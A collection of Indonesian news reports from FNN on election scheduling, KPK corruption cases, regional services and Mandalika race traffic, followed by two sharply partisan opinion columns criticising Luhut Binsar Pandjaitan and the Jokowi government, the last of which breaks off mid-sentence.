Jakarta, FNN - Anggota Komisi II DPR RI Yanuar Prihatin menilai KPU mendapatkan mandat dari UU nomor 7 tahun 2007 tentang Pemilu untuk menetapkan jadwal Pemilu sehingga tidak salah apabila lembaga penyelenggara pemilu tersebut ambil keputusan sendiri. "Kami di DPR berpandangan kalau KPU berani ambil keputusan sendiri (terkait waktu pelaksanaan Pemilu), mereka tidak salah. KPU dapat mandat dari UU, namun apakah KPU berani ambil keputusan tersebut," kata Yanuar di Kompleks Parlemen, Jakarta, Kamis. Hal itu dikatakannya terkait belum disepakati jadwal pelaksanaan Pemilu 2024 karena adanya perbedaan pandangan antara KPU dan Pemerintah. Yanuar menilai KPU tidak berani ambil keputusan sendiri terkait jadwal Pemilu 2024 karena harus mendengarkan masukan dari pemerintah dan DPR RI. Karena itu menurut dia, Komisi II DPR akan menggelar rapat konsultasi bersama KPU, Bawaslu, DKPP dan pemerintah untuk membahas jadwal Pemilu 2024 sebagai upaya komunikasi semua pemangku kepentingan (stakeholder) terkait pemilu. "Rapat konsultasi itu hanya tradisi komunikasi saja karena kalau tidak ada komunikasi, maka tidak baik. Kami ingin mendengar perspektif banyak pihak seperti dari DPR, pemerintah yaitu Mendagri seperti apa, dan rencana KPU meskipun secara UU memandatkan KPU untuk menentukan jadwal pemilu," ujarnya. Yanuar menilai setiap keputusan terkait pemilu ada banyak variabel yang harus dihitung seperti anggaran penyelenggaraan, persiapan penyelenggara, data pemilih, dan hal-hal terkait logistik pemilu. Selain itu menurut dia, KPU tidak bisa membuat jadwal sendiri terkait kampanye pemilu karena harus mendengar masukan partai politik untuk menentukan durasi waktunya. "Lalu harus juga dibicarakan mengenai persyaratan calon yang maju di Pemilu Legislatif maupun Pemilu Presiden. Karena itu untuk menginventarisir hal-hal tersebut, KPU perlu mendengarkan masukan stakeholder terkait," katanya. Namun dia mengatakan, waktu pelaksanaan rapat tersebut belum ditentukan waktunya tetapi dipastikan akan dilaksanakan pada Masa Sidang II Tahun Sidang 2021-2022. (sws)

Layanan Disdukcapil Penajam Kembali Normal Seiring Landainya COVID-19

Penajam, FNN - Layanan administrasi kependudukan Kantor Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kabupaten Penajam Paser Utara, Kalimantan Timur, kembali normal seiring melandainya kasus COVID-19 di daerah itu. "Jam operasional layanan kependudukan di kantor sudah berjalan normal sejak dua pekan terakhir," ujar Kepala Disdukcapil Kabupaten Penajam Paser Utara, Suyanto di Penajam, Kamis. Layanan sudah dikembalikan seperti biasa yakni mulai pukul 08.00 sampai 15.00 Wita. Sebelumnya, layanan dibuka hanya selama lima jam dari pukul 08.00-13.00 Wita. Kembali normalnya jam operasional tersebut untuk memaksimalkan layanan administrasi kependudukan sebab program pendekatan layanan atau "jemput bola" dihentikan karena ketiadaan anggaran. Dalam sehari, menurut dia rata-rata seratus orang warga Kabupaten Penajam Paser Utara yang mengurus layanan administrasi kependudukan. Kepengurusan layanan administrasi kependudukan tersebut di antaranya cetak KTP elektronik, administrasi pindah datang hingga penerbitan akta kematian maupun akta kelahiran. "Kami maksimalkan pelayanan adminduk (administrasi kependudukan) di Kantor Disdukcapil bagi masyarakat," katanya. Kebijakan mengembalikan waktu operasional layanan administrasi kependudukan, kata dia karena kasus COVID-19 terus mengalami penurunan secara signifikan. Kendati status PPKM (pemberlakuan pembatasan kegiatan masyarakat) masih berada di level 3. (sws)

KPK: Pegawai Pajak Diduga Terima Suap 625 Ribu Dolar Singapura

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menduga tersangka Wawan Ridwan (WR) menerima sekitar 625 ribu dolar Singapura dalam kasus dugaan suap terkait dengan pemeriksaan perpajakan tahun 2016 dan 2017 pada Ditjen Pajak Kementerian Keuangan. Wawan merupakan Supervisor Tim Pemeriksa Pajak pada Direktorat Pemeriksaan dan Penagihan pada Direktorat Jenderal Pajak atau Kepala Pajak Bantaeng Sulawesi Selatan sampai dengan Mei 2021 dan saat ini menjabat selaku Kepala Bidang Pendaftaran, Ekstensifikasi, dan Penilaian Kanwil DJP Sulawesi Selatan, Barat, dan Tenggara. "Dari total penerimaan tersebut, tersangka WR diduga menerima jatah pembagian sejumlah sekitar sebesar 625 ribu dolar Singapura," kata Wakil Ketua KPK Nurul Ghufron saat jumpa pers di Gedung KPK, Jakarta, Kamis. KPK menetapkan Wawan bersama Alfred Simanjuntak (AS) selaku Ketua Tim Pemeriksa pada Direktorat Pemeriksaan dan Penagihan pada Direktorat Jenderal Pajak atau saat ini menjabat Fungsional Pemeriksa Pajak pada Kanwil DJP Jawa Barat II sebagai tersangka baru kasus tersebut. Penetapan keduanya sebagai tersangka merupakan pengembangan penyidikan dari kasus yang menjerat mantan Direktur Pemeriksaan dan Penagihan Ditjen Pajak Angin Prayitno Aji (APA) dan kawan-kawan. Selain itu, kata Ghufron, KPK menduga tersangka Wawan juga menerima adanya pemberian sejumlah uang dari beberapa wajib pajak lain yang diduga sebagai gratifikasi yang jumlah uangnya hingga saat ini masih terus didalami. Selain itu, tim penyidik KPK juga telah menyita tanah dan bangunan milik tersangka Wawan di Kota Bandung yang diduga diperoleh dari penerimaan-penerimaan uang suap dan gratifikasi terkait pemeriksaan pajak. Dalam konstruksi perkara yang menjerat Wawan sebagai tersangka, Ghufron menjelaskan tersangka Wawan selaku Supervisor Tim Pemeriksa Pajak pada Direktorat Pemeriksaan dan Penagihan pada Direktorat Jenderal Pajak bersama-sama dengan Alfred atasperintah dan arahan khusus dari Angin Prayitno Aji dan Dadan Ramdani selaku Kepala Subdirektorat Kerjasama dan Dukungan Pemeriksaan pada Direktorat Jenderal Pajak melakukan pemeriksaan perpajakan untuk tiga wajib pajak. "Yaitu, PT GMP (Gunung Madu Plantations) untuk tahun pajak 2016, PT BPI Tbk (Bank PAN Indonesia) untuk tahun pajak 2016, dan PT JB (Jhonlin Baratama) untuk tahun pajak 2016 dan 2017," katanya. Dalam proses pemeriksaan tiga wajib pajak tersebut, kata dia, diduga ada kesepakatan pemberian sejumlah uang agar nilai penghitungan pajak tidak sebagaimana mestinya dan tentunya memenuhi keinginan dari para wajib pajak tersebut. Ia mengatakan atas hasil pemeriksaan pajak yang telah diatur dan dihitung sedemikian rupa, tersangka Wawan dan Alfred diduga telah menerima uang yang selanjutnya diteruskan kepada Angin Prayitno Aji dan Dadan Ramdani. Pertama, sekitar Januari-Februari 2018 dengan jumlah keseluruhan sebesar Rp15 miliar diserahkan oleh dua konsultan pajak Ryan Ahmad Ronas (RAR) dan Aulia Imran Maghribi (AIM) sebagai perwakilan PT Gunung Madu Plantations. Kedua, sekitar Pertengahan tahun 2018 sebesar 500 ribu dolar Singapura yang diserahkan oleh Veronika Lindawati (VL) selaku kuasa wajib pajak sebagai perwakilan PT Bank PAN Indonesia Tbk dari total komitmen sebesar Rp25 miliar. Ketiga, sekitar Juli-September 2019 sebesar total 3 juta dolar Singapura diserahkan oleh Agus Susetyo (AS) selaku konsultan pajak sebagai perwakilan PT Jhonlin Baratama. Atas perbuatannya, tersangka Wawan disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP dan Pasal 12 B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. (sws)

Ganjar Gandeng KPK Ingatkan Kepala Daerah se-Jateng Tidak Korupsi

Semarang, FNN - Gubernur Jawa Tengah Ganjar Pranowo bersama Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri mengingatkan kepala daerah dan pimpinan DPRD se-Jateng agar tidak melakukan berbagai tindak pidana korupsi. Arahan tersebut dilakukan pada Rapat Koordinasi Pemberantasan Korupsi Terintregasi di Gedung Gradhika Bhakti Praja di Semarang, Kamis. Ganjar Pranowo mengaku sengaja mengumpulkan seluruh kepala daerah dan pimpinan DPRD se-Jateng untuk mengingatkan kembali agar tidak melakukan korupsi. Kehadiran Ketua KPK diharapkan bisa menjadi pengingat mereka untuk memastikan pemerintahan berjalan dan anggaran negara dilaksanakan dengan baik. "Jadi kemarin saya ditelepon Pak Firli, minta kita rapat koordinasi pencegahan korupsi, maka saya ajak semua bupati/wali kota dan pimpinan legislatif untuk ikut bersama untuk kembali mengingatkan mereka agar tidak korupsi," ujarnya. Menurut Ganjar, koordinasi dengan KPK sudah berjalan baik di Jawa Tengah, bahkan Jateng sudah memiliki grup WhatsApp dengan para pimpinan KPK untuk keperluan konsultasi dan pencegahan tindak pidana korupsi. Meski begitu, menurutnya masih banyak kegelisahan dari para kepala daerah saat berhadapan dengan aparat penegak hukum. "Banyak kegelisahan kawan-kawan muncul, apalagi saat berhubungan dengan aparat penegak hukum. Sebenarnya kami ini salahnya di mana? maka kita komunikasikan agar pencegahan korupsi benar-benar bisa dilakukan," ujar Ganjar. Ganjar mengungkapkan, KPK sudah memaparkan area-area yang rawan praktik korupsi seperti jual beli jabatan, kolusi, pungutan liar, perizinan dan lainnya. Melalui Rapat Koordinasi Pemberantasan Korupsi Terintregasi, para kepala daerah dan pimpinan DPRD se-Jateng diharapkan bisa memahami dan berusaha sekuat tenaga untuk terjebak dalam pusaran korupsi. "Semua harus mencegah itu, mudah-mudahan kawan-kawan semua jadi paham dan tidak melakukan itu. Kalau masih nekat, ya ditangkap," ucap dia menegaskan. Dalam kesempatan itu, Firli memberikan arahan terkait titik-titik potensi korupsi dan juga memberikan cara pencegahan yang bisa dilakukan kepala daerah agar tidak terjerumus dalam berbagai praktik tindak pidana korupsi. (sws)

Ketua KPK Minta Kepala Daerah Selalu Perkuat Integritas Diri

Semarang, FNN - Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri meminta seluruh kepala daerah dan pimpinan DPRD di Provinsi Jawa Tengah agar selalu memperkuat integritas diri karena tindak pidana korupsi disebabkan keserakahan, kesempatan, serta kekuasaan. "Integritas diri lah yang akan mencegah kepala daerah terjerembab dalam kasus korupsi. Siapa pun bisa terlibat perkara korupsi atau menjadi koruptor karena kekuasaan, ada kesempatan, dan kurangnya integritas. Mari bangun, jaga, dan pelihara integritas," katanya pada Rapat Koordinasi Pemberantasan Korupsi Terintegrasi di Gedung Gradhika Bhakti Praja, Semarang, Kamis. Firli mengingatkan lima peran penting kepala daerah yaitu mewujudkan tujuan negara, menjamin stabilitas politik, dan keamanan, menjamin keselamatan masyarakat dari segala gangguan bencana dan pertumbuhan ekonomi, menjamin kepastian kemudahan investasi dan perizinan berusaha, serta menjamin keberlangsungan program pembangunan nasional. Dirinya juga meminta kepala daerah untuk mengevaluasi capaian pemerintahannya dalam mewujudkan perbaikan di daerah. Menurut dia, ada tujuh indikator yang dapat dijadikan ukuran keberhasilan kepala daerah dalam meningkatkan kesejahteraan masyarakatnya yaitu persentase angka kemiskinan, pengangguran, kematian ibu melahirkan, kematian bayi, indeks pembangunan manusia, pendapatan per kapita, dan angka gini ratio. "Tolong kepala daerah cek apakah program di APBD-nya sudah mengarah pada upaya mewujudkan kesejahteraan masyarakat. Angka-angka capaian indikator ini modal untuk melakukan pembangunan," ujarnya. Oleh karena itu, lanjut Firli, kehadiran KPK di Jateng merupakan amanat undang-undang, dimana tiga tugas pertama dari enam tugas KPK sesuai amanat UU adalah melakukan upaya-upaya pencegahan, koordinasi, dan monitoring merupakan upaya untuk mencegah terjadinya korupsi. "Melalui upaya pencegahan, KPK melakukan kajian untuk memberikan rekomendasi perbaikan kepada pemerintah pusat maupun daerah agar tidak terjadi korupsi," katanya. Hal tersebut disampaikan Firli di hadapan 36 kepala daerah meliputi gubernur dan bupati/wali kota di Jateng, serta pimpinan DPRD, Perwakilan BPKP, dan Kanwil BPN di wilayah Jateng. Rakor ini juga menjadi rangkaian kegiatan peringatan Hari Antikorupsi Sedunia (Hakordia) 2021 yang puncaknya diperingati pada 9 Desember mendatang. (sws)

KPK Tahan Pegawai Pajak Wawan Ridwan

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menahan Wawan Ridwan (WR) yang telah ditetapkan tersangka kasus dugaan suap terkait dengan pemeriksaan perpajakan tahun 2016 dan 2017 pada Ditjen Pajak Kementerian Keuangan. "Untuk kepentingan penyidikan, tim penyidik melakukan upaya paksa penahanan pertama untuk 20 hari ke depan terhitung mulai 11 November 2021 sampai dengan 30 November 2021 di Rutan KPK pada Pomdam Jaya Guntur," kata Wakil Ketua KPK Nurul Ghufron saat jumpa pers di Gedung KPK, Jakarta, Kamis. Wawan adalah Supervisor Tim Pemeriksa Pajak pada Direktorat Pemeriksaan dan Penagihan pada Direktorat Jenderal Pajak atau Kepala Pajak Bantaeng Sulawesi Selatan sampai dengan Mei 2021 dan saat ini menjabat selaku Kepala Bidang Pendaftaran, Ekstensifikasi, dan Penilaian Kanwil DJP Sulawesi Selatan, Barat, dan Tenggara. "Agar tetap mengantisipasi penyebaran COVID-19 di lingkungan Rutan KPK, tersangka tetap akan dilakukan isolasi mandiri di rutan tempat penahanan dimaksud," ucap Ghufron. KPK menetapkan Wawan bersama Alfred Simanjuntak (AS) selaku Ketua Tim Pemeriksa pada Direktorat Pemeriksaan dan Penagihan pada Direktorat Jenderal Pajak atau saat ini menjabat Fungsional Pemeriksa Pajak pada Kanwil DJP Jawa Barat II sebagai tersangka baru kasus tersebut. Sementara untuk tersangka Alfred belum ditahan. Penetapan keduanya sebagai tersangka merupakan pengembangan penyidikan dari kasus yang menjerat mantan Direktur Pemeriksaan dan Penagihan Ditjen Pajak Angin Prayitno Aji (APA) dan kawan-kawan. Dalam kronologi penangkapan, Ghufron mengatakan pada Rabu (10/11) sekitar pukul 13.00 WITA, tim penyidik KPK mendatangi tersangka Wawan yang berada di kantor di Kota Makassar. "Selanjutnya tim menangkap tersangka WR. Penangkapan ini dilakukan guna mempercepat proses penyidikan karena KPK menilai dalam proses penyelesaian penyidikan perkara pajak dimaksud, tersangka WR tidak kooperatif," katanya. Setelah ditangkap, tersangka Wawan dibawa ke Polrestabes Makassar untuk pemeriksaan awal dan Kamis ini yang bersangkutan dibawa ke Gedung Merah Putih KPK, Jakarta untuk pemeriksaan lanjutan. (sws)

Polda NTB Beberkan Rekayasa Lalu Lintas Ajang Balap IATC dan WSBK

Mataram, FNN - Direktur Lalu Lintas Kepolisian Daerah Nusa Tenggara Barat Komisaris Besar Polisi Djoni Widodo membeberkan rekayasa lalu lintas pada saat pelaksanaan ajang balap motor "Idemitsu Asia Talent Cup" (IATC) dan "World Superbike" (WSBK) di Mandalika International Street Circuit, Kabupaten Lombok Tengah. "Ada dua pintu masuk menuju kawasan Mandalika," kata Djoni di Mataram, Kamis. Dua pintu masuk menuju Kawasan Ekonomi Khusus (KEK) Mandalika yang menjadi lokasi pagelaran IATC dan WSBK tersebut, berada di jalur Timur dan Barat. "Jalur Timur itu melalui Bypass BIL-Mandalika. Jalur Barat melalui bundaran Surfing Mong," ujarnya. Melalui dua pintu masuk KEK Mandalika, lanjutnya, para penonton yang berkendara pribadi maupun menggunakan bus angkutan dari lima pintu masuk Lombok, akan diarahkan menuju areal parkir. "Yang datang dari Bypass BIL-Mandalika itu rute akhirnya di areal parkir Timur. Untuk kendaraan yang masuk melalui jalur bundaran Surfing Mong, parkirannya di wilayah Barat," ucap dia. Untuk areal parkir Barat, jelasnya, berada di sekitar kawasan Masjid Nurul Bilad Mandalika. Sedangkan parkiran Timur, berada di lahan kosong seluas 17 hektare dengan kapasitas 13.600 satuan ruang parkir (SRP). "Di kawasan parkir ini menjadi lokasi pengecekan tiket, vaksinasi melalui aplikasi PeduliLindungi, dan hasil tes PCR," katanya. Usai pengecekan, akses para penonton ke areal sirkuit akan difasilitasi oleh bus angkutan lainnya. Penonton akan dibawa ke areal sirkuit sesuai dengan warna gelang yang digunakan. "Kapasitas penumpang pada bus angkutan akan dibatasi. 70 persen dari kapasitas tumpangan. Jadi protokol kesehatan tetap paling utama," ujarnya. Selanjutnya, bus yang mengangkut para penonton dari areal parkir akan terhubung dengan tiga pintu masuk areal sirkuit. Tujuan pengaturan demikian untuk menghindari kemacetan. Namun, kondisi macet yang paling dikhawatirkan saat pagelaran balap selesai. Antisipasinya ketika penonton bubar secara bersamaan. Untuk mengurai kemacetan tersebut, ada rencana pihaknya memberlakukan satu jalur kepulangan, yakni dengan menutup sementara salah satu jalur kedatangan. "Kita berlakukan 'one way system'. Bisa nanti yang ditutup itu jalur Barat atau jalur Timur. Estimasinya satu jam, tetapi sifatnya masih situasional," tutur Djoni. Dalam giat ini, Djoni memastikan bahwa pihaknya di lapangan menjalin koordinasi penuh dengan dinas perhubungan. (sws)

Cara Berpikir Aneh Lingkaran Tajir Luhut Binsar Pandjaitan

Oleh;: Jajang Nurjaman Setelah mendapat kritik keras dari publik soal dugaan praktik kotor bisnis PCR yang diduga melibatkan Menko Luhut Binsar Pandjaitan, kini kelompok di lingkaran Luhut ramai-ramai pasang badan. Terbaru muncul Septian Hario Seto SHS dengan tulisan panjangnya sampai 23 point membela habis-habisan Menko Luhut. Septian Hario Seto yang baru saja diangkat menjadi komisaris BNI, sebelumnya menjabat sebagai staf khusus Deputi Bidang Koordinator Investasi dan Pertambangan, dan jauh sebelum masuk lingkaran pejabat pemerintahan SHS sudah 10 tahun bekerja dengan Luhut di Toba Bara Sejahtera. Bahkan dengan karir cemerlangnya bekerja mengikuti luhut saat menjadi staf tercatat kekayaan SHS mencapai Rp 5,1 miliar, setelah menjadi komisaris kekayaan SHS tentunya bisa semakin melejit. Sama halnya dengan kekayaan Luhut yang terus meroket, kekayaan Luhut hanya dalam 5 bulan naik Rp 67,7 miliar meskipun lagi pandemi, sekarang kekayaan luhut Rp 745 miliar. Dalam pembelaan SHS soal proyek PCR yang melibatkan nama Luhut, ia berusaha keras meyakinkan publik bahwa dirinya dan Menko Luhut begitu peduli dengan persoalan negeri dalam menghadapi pandemi, bahkan secara emplisit tanpa uluran tangan Luhut negeri ini tidak berdaya. SHS berusaha keras menyampaikan ke publik bahwa Luhut sudah banyak memberikan donasi seperti alat PCR, ekstraksi RNA, reagen dan alat lab ke Fakultas Kedokteran, meskipun tidak dijelaskan rinciannya. Termasuk didirikannya GSI ia menjelaskan meskipun ini adalah perusahaan bukan yayasan, seperti namanya ada unsur Solidaritas keuntungan dari proyek yang didapat dari GSI nanti digunakan untuk amal. Jadi SHS ingin menyampaikan kepada publik bahwa Pak Luhut sebagai pejabat memang memiliki kaitan kuat dengan perusahaan GSI, dan benar mendapatkan proyek PCR “, tapi dia mengingatkan keuntungannya nanti didonasikan ke Fakultas kedokteran seperti alat PCR dan lainnya “atas nama Pak Luhur, tentunya”. Jadi benar kalau pak Luhut bilang ke publik bahwa dia tidak ambil untung dari bisnis PCR. Pembelaan SHS ini sangat aneh karena memang berangkat dari logika yang aneh serta banyak hal yang tidak dia ungkapkan, toh ini memang hanya pembelaan, sebatas bawahan yang membela atasannya. Publik tidak perlu berharap lebih, Luhut dan lingkarannya yang tajir-tajir menjelaskan kepada publik, kenapa saat harga PCR yang harganya sampai Rp 2,5 juta sebelum Oktober 2020 pemerintah termasuk mereka adem ayem saja. Setelah Oktober 2020 harga PCR berubah-ubah tidak jelas harga standarnya berapa. Mulai dari Rp 900 ribu dari Oktober 2020 sampai Agustus 2021, kemudian berubah lagi jadi Rp495.000-Rp525.000 sampai Oktober, dan terakhir ternyata harga PCR bisa dipatok Rp275.000-Rp 300.000 sejak akhir oktober, bahkan ada yang mengatakan tes PCR kalau mau bisa saja Rp 10 ribu. Publik juga tidak perlu berarap lebih Luhut dan lingkaran menjelaskan dengan jujur, apakah betul sebatas urusan PCR negara ini tidak mampu lagi dan benar-benar tidak ada duit. Padahal data menunjukan soal anggaran untuk penanganan kesehatan di tahun 2020 yang digelontorkan Rp 99,5 triliun yang dipakai atau terealisasi hanya 63,6 persen. Di tahun 2021 dari Rp193,9 triliun alokasi anggaran penanganan Covid-19 untuk sektor kesehatan, baru terserap 53,9 persen, padahal sekarang menjelang akhir tahun. Belum lagi soal temuan terbaru, dari bisnis PCR saja uang yang berputar sampai Rp 23 triliun dan keuntungan yang diperoleh dari kelompok yang berbisnis soal PCR bisa mencapai Rp 10 triliun lebih. Dari sini bisa disimpulkan, saat pandemi pejabat kita tidak serius bekerja untuk rakyat,mereka sibuk dengan kelompoknya berbisnis kemudian untuk menutupi borok sesekali mereka berdonasi dari hasil untung ini. Koordinator CBA (Center for Budget Analysis)

KPK Periksa Mantan Gubernur Kepri Terkait Korupsi Cukai Rokok

Tanjungpinang, FNN - Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemeriksaan terhadap mantan Gubernur Kepulauan Riau Nurdin Basirun terkait dugaan korupsi cukai rokok di kawasan Perdagangan Bebas dan Pelabuhan Bebas Batam, Bintan dan Karimun. Pelaksana Tugas KPK Ali Fikri melalui pesan WhatsApp yang diterima ANTARA di Tanjungpinang, Kamis, tidak menjelaskan apakah Nurdin diperiksa sebagai saksi empat lainnya di Satreskrim Polres Tanjungpinang atau tidak, mengingat saat ini dia masih menjalani hukum dalam kssus korupsi lainnya. Berdasarkan data, Nurdin ditangkap KPK pada Juli 2019 terkait suap dalam Surat Izin Prinsip Pemanfaatan Laut atas nama pemohon Kock Meng seluas 6,2 hektare, dan surat Izin Prinsip Pemanfaatan Ruang Laut atas nama pemohon Abu Bakar seluas 10,2 hektare. Nurdin berdasarkan fakta persidangan berencana memasukkan kedua izin prinsip tersebut ke dalam daftar Rencana Peraturan Daerah Rencana Zonasi Wilayah Pesisir Pantai dan Pulau-pulau Kecil (Perda RZWP3K). Pada 9 April 2020, Pengadilan Tipikor Jakarta menyatakan Nurdin terbukti korupsi dan dijatuhi hukuman 4 tahun penjara. Nurdin juga diwajibkan membayar denda Rp 200 juta subsider 6 bulan kurungan. Majelis hakim juga mencabut hak politik Nurdin Basirun. Berdasarkan informasi dari Ali Fikri, pemeriksaan Nurdin bersama empat orang saksi lainnya dilakukan di Satreskrim Polres Tanjungpinang. Keempat saksi tersebut yakni Asisten II Pemprov Kepri Syamsul Bahrum, yang juga menjabat sebagai Sekretaris Dewan Kawasan FTZ Batam, Bintan dan Karimun. KPK telah berulang kali memeriksa Syamsul Bahrum sebagai saksi dalam kasus dugaan korupsi cukai rokok FTZ. Syamsul Bahrum juga pernah diperiksa penyidik KPK dalam kasus yang menjerat Nurdin Basirun. Selain Syamsul, penyidik KPK juga menjadwalkan pemeriksaan terhadap Wali Kota Tanjungpinang periode 2013-2018, Lis Darmansyah, Norman (swasta), dan Boy (anggota Polri). Sejak Senin lalu, penyidik memeriksa sejumlah pejabat Pemkab Bintan dan belasan pengusaha rokok. Sejak Selasa-Rabu, penyidik memeriksa 11 pengusaha rokok di Satreskrim Polres Tanjungpinang. Pengusaha yang diperiksa yakni Yani Eka Putra (Komisaris PT Batam Prima Perkasa, PT Sukses Perkasa, dan PT Lautan Rmas Khatulistiwa), A Lam (swasta), Arjab (swasta), Mulyadi Tan (PT Nano Logistic), dan Ganda Tua Sihombing (PT Tirta Anugrah Sukses). Kemudian Yhordanus (Direktur PT Yofa Niaga Fastya 2020-2017), Budiyanto (swasta), Aman (Direktur PT Berlian Inti, PT Batam Shellindo Pratama dan PT Karya Putri Makmur), Agus (Direktur CV Three Star Bintan 2019-sekarang), Sandi (Manajer Operasional PT Bintan Muda Gemilang) dan Junaedy Bahar (Direktur PT Sinar Niaga Mandiri). Penyidik juga sudah berulang kali Alfeni Harmi, staf Badan Pengusahaan Perdagangan Bebas dan Pelabuhan Bebas (Free Trade Zone/FTZ) Bintan, yang juga Kepala Bidang Penyelenggaraan Pelayanan Perizinan Dinas Penanaman Modal Pelayanan Satu Pintu Bintan. Dalam kasus itu, KPK telah menetapkan Bupati Bintan nonaktif Apri Sujadi dan Kepala BP FTZ Bintan Muhamad Saleh Umar sebagai tersangka. Tim penyidik memperpanjang masa penahanan Apri dan Saleh Umar selama 30 hari berdasarkan penetapan kedua dari Ketua PN Tipikor Tanjung Pinang terhitung mulai 10 November 2021 s/d 9 Desember 2021. Apri ditahan di Gedung Merah Putih, sedangkan Saleh Umar ditahan di Gedung KPK Kavling C1. "Pemberkasan perkara para Tersangka, hingga saat ini masih berjalan dengan mengagendakan pemeriksaan saksi-saksi yang terkait dengan perkara," kata Ali. (mth)

Rezim Klojotan

Oleh: Yusuf Blegur Ada yang menarik dari kegiatan memperingati hari Pahlawan yang dilakukan oleh rakyat pada hari Rabu tanggal 10 November 2021 yang lalu. Bukan saja karena diikuti oleh pelbagai elemen bangsa seperti mahasiswa, buruh, ormas, beberapa aktifis dan tokoh pergerakan. Lebih dari itu, parlemen jalanan itu diwarnai tampilnya seorang senior yang boleh dibilang memasuki usia sepuh. Beliau adalah Babeh Ridwan Saidi. Seorang aktivis sejarah, kebudayaan dan salah satu tokoh pergerakan Islam. Meski di usia yang tidak muda lagi, beliau tetap menampilkan ghiroh Islam, semangat progressif revolusioner dan jihad amar maruf nahi munkar. Babeh Ridwan Saidi juga menyerukan perlawan rakyat terhadap rezim boneka oligarki yang sudah kebablasan menindas dan menyengsarakan rakyat. Babeh Ridwan Saidi begitu berapi-api berorasi layaknya aktifis mahasiswa yang masih muda meski usianya sudah memasuki usia 80 tahun. Menyeru rakyat bersatu dan bangkit melawan kekuasaan dzolim. Berani dan tegas menghadapi rezim klojotan, kata Babeh Ridwan Saidi. Bukan hanya keberanian, sikap konsisten dan istiqomah dalam mengajak kesadaran nasionalisme di tengah momentum hari pahlawan. Tampilnya Babeh Ridwan Saidi dalam demokrasi jalanan. Sejatinya menjadi tamparan keras bagi generasi muda dibawahnya termasuk kalangan milenial, yang hingga hari ini bersikap statis, apriori dan mungkin statis terhadap situasi kekinian kebangsaan Indonesia. Betapa kehadiran dan semangat Babeh Ridwan Saidi memiliki nilai tersendiri dalam aksi peringatan hari pahlawan itu. Babeh Ridwan Saidi menunjukkan bahwasanya usia dan fisik tidak semuanya akan lekang oleh waktu. Jiwa dan keteguhan hati menyuarakan kebenaran dan keadilan akan tetap bisa tumbuh dalam setiap sanubari tanpa mengenal usia, pengalaman dan status sosial. Babeh Ridwan Saidi yang idealnya disebut kakek untuk menikmati sisa hidup dengan bercengkerama bersama anak-cucu dan keluarga. Masih bisa tampil garang dan memukau di tengah sengatan terik matahari dan sorotan tajam aparat keamanan. Betapa ini menggugah perasaan dan emosi bagi semua yang menikmati "comport zona" dan anti perubahan ditengah krisis multi dimensi kenegaraan. Babeh Ridwan Saidi tetap gigih menyadarkan kepada semua, saatnya rakyat tidak bergantung pada pemerintahan. Tidak menaruh harapan berlebihan kepada para birokrat dan politisi. Kepada konstitusi dan parlemen yang mandul. Senior yang detail memahami dan mengenal sejarah Jakarta dan kolonialisme di Indonesia ini. Seakan mengingatkan bahwa pahlawan dapat lahir dari rahim rakyat yang tertindas. Para pahlawan akan hadir ditengah rakyat, dari rakyat dan untuk rakyat. Hanya rakyat yang bisa menyelamatkan rakyat. Begitu tulus dan antusias Babeh Ridwan Saidi menggelorakan perjuangan. Ma syaa Allah, barakallahu fikum. Semoga Allah memberika umur panjang yang maslahat dan memberi teladan sekaligus motivasi perjuangan bagi bangsaIndonesia khususnya generasi muda. Budayawan yang gape seluk beluk politik itu begitu lugas dan gamblang memotret sekaligus memetakan situasi pemerintahan yang sudah amburadul. Kebijakan rezim yang tidak menggunakan akal sehat dan mengabaikan faktor ilmu pengetahuan dalam mengambil kebijakan negara. Hanya menghasilkan pemerintahan yang ugal-ugalan dibawah kepemimpinan Jokowi. Akibatnya bukan hanya kerusakan dan kehancuran sistem ketatanegaraan. Kekuasaan yang hanya dalam 7 tahun lebih, telah memecah belah persatuan dan kesatuan bangsa, mengancam eksistensi dan kedaulatan NKRI serta penderitaan panjang kehidupan rakyat. Gagalnya penanganan pandemi yang dibarengi maraknya mega korupsi yang dilakukan birokrasi terutama dikalangan menteri. Ditambah ekspolitasi utang luar negeri yang beraroma proyek rente yang akhirnya gagal dan harus dijual lagi. Bukan hanya proyek infra struktur, bahkan proyak penanganan pandemi juga ikut dirampok. Tak kurang mulai dari bansos, vaksin dan terakhir pengadaan PCR juga terendus menjadi komoditi bisnis para pengusaha, menteri dan lingkaran istana. Itu beberapa contoh kebobrokan rezim Jokowi, selain kenaikan pajak dan biaya hidup yang kian mencekik rakyat. Perlakuan rezim Jokowi inipun dianggap barbar dan bengis terhadap umat islam. Bukan hanya politisasi agama fan kriminalisasi para ulama. Rezim pencitraan boneka oligarki ini nyata-nyata juga melakukan sekulerisasi dan liberalisasi Islam. Umat islam terus diperkosa dengan kebijakan penangkalan aqidah berkedok moderasi Islam. Jokowi dam gerombolan kekuasannya tidak hanya sekedar anti Islam. Namun Jokowi dalam kekuasaan para taipan dan borjuasi korporasi telah mengibarkan bendera kapitalisme dan komunisme di negeri Panca Sila. Oleh karena itu sudah selayaknya dan perlu menjadi perenungan bagi semua rakyat Indonesia. Jika masih menginginkan kehidupan anak-cucu lebih baik di masa mendatang. Jika masih ingin merasakan keberadaan NKRI kelak. Jika masih ingin melihat agama Islam tegak di persada Indonesia yang religius. Maka seperti yang Babeh Ridwan Saidi bilang, harus ada kesadaran nasionalisme untuk memperjuangkan Indonesia dari cengkeraman neo kolonialisme dan neo imperialisme (nekolim). Harus ada keberanian rakyat menyelamatkan Indonesia dari rezim Jokowi yang sudah membabi-buta dalam kemudaratan. Rezim yang seiring waktu mulai kehilangan kemanusiaan dan Ketuhanan dalam menjalankan pemerintahan dan negara. Saatnya hari pahlawan menjadi benih-benih kesadaran perjuangan dan kebangkitan Indonesia. Kesadaran dan kebangkitan bagi umat Islam dan seluruh rakyat Indonesia. Melawan rezim 